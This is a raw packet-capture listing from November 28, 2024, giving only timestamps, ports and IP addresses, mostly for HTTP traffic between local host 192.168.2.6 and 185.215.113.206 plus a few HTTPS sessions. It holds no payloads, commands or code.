Nov 28, 2024 15:17:45.990135908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.990196943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.990206003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.990439892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.991033077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.991086960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.991266966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.991332054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.991974115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.992064953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.992090940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.992202997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.992918968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.992986917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.993022919 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.993047953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.993793964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.993848085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.993932962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.993968964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.994731903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.994767904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.994827032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.994883060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.995639086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.995683908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.995750904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.995803118 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.996546030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.996602058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.996618032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.996788979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.997422934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.997484922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.997553110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.997589111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.998390913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.998430014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.998467922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.998786926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:45.999308109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.999330997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:45.999555111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.000241995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.000288010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.000349045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.000382900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.001105070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.001147032 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.001259089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.001302958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.002054930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.002106905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.002144098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.002228022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.002929926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.003021002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.003057003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.003099918 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.003844976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.003894091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.003978968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.004019022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.004772902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.004812002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.004898071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.004956961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.013154984 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:46.013169050 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:46.013251066 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:46.013273001 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:46.013283968 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:46.013322115 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:46.013329983 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:46.013364077 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:46.017723083 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:46.017739058 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:46.020206928 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.060834885 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.060895920 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.092844963 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.092897892 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.137275934 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.147768021 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.147823095 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.148932934 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.148986101 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.154928923 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.155695915 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.157115936 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.157138109 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.157428026 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.157438993 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.158720016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.158757925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.158824921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.158910990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.159127951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.159177065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.159241915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.159403086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.160047054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.160103083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.160155058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.160445929 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.161029100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.161091089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.161385059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.161398888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.161456108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.161484003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.162163973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.162447929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.162514925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.163127899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.163183928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.163225889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.163458109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.164036036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.164093018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.164124012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.164359093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.164937019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.164990902 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.165028095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.165206909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.165848970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.165925980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.166062117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.166778088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.166915894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.166969061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.167665005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.167714119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.167834044 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.167876959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.168562889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.168611050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.168688059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.169512033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.169586897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.169624090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.169795990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.170439005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.170495987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.170535088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.170577049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.171327114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.171452045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.171498060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.171542883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.172265053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.172343969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.172347069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.172724962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.173228025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.173269987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.173348904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.174066067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.174127102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.174149036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.174200058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.175066948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.175137997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.175194025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.175219059 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.175905943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.175951958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.176013947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.176058054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.176826000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.176898003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.176934004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.177135944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.177715063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.177767038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.177829981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.177871943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.178662062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.178769112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.178808928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.178823948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.179578066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.179632902 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.179879904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.180000067 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.180484056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.180542946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.180578947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.180795908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.181401014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.181468010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.181504011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.181596041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.181796074 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.182315111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.182372093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.182495117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.182616949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.183229923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.183367014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.183423996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.184143066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.184199095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.184215069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.184259892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.185136080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.185147047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.185211897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.185966969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.186106920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.186156988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.186885118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.186954975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.187020063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.187896013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.187941074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.187949896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.187977076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.188832045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.188846111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.188890934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.189829111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.189841032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.189892054 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.190844059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.190856934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.190896034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.191634893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.191648960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.191689014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.192401886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.192414999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.192459106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.193309069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.193361998 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.193377018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.193561077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.194279909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.194328070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.194430113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.194468975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.195323944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.195378065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.195591927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.196106911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.196254969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.196270943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.196321964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.197057962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.197149038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.197196960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.197899103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.197951078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.197998047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.198151112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.198806047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.198856115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.199018955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.199064016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.199851036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.199898958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.199979067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.200011969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.200591087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.200649023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.200743914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.200874090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.201674938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.201716900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.201792002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.201839924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.202474117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.202521086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.202558994 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.202599049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.203360081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.203413963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.203454971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.204005003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.204282999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.204325914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.204514980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.204561949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.205187082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.205245018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.205318928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.205526114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.206125021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.206187010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.206197977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.206304073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.227356911 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.304284096 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.304760933 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.304773092 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.305279970 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.306520939 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.306607008 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.307035923 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.338411093 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.341037035 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.341129065 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.351329088 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.360126972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.360209942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.360213995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.360270977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.360532999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.360585928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.360764027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.361248970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.361430883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.361493111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.361552954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.362335920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.362651110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.362715006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.362740993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.362785101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.363573074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.363714933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.363773108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.364466906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.364573002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.364582062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.364778042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.365422964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.365479946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.365566015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.366329908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.366386890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.366453886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.366493940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.367279053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.367340088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.367403984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.367527962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.368144035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.368195057 CET	49804	80	192.168.2.6	185.215.113.206
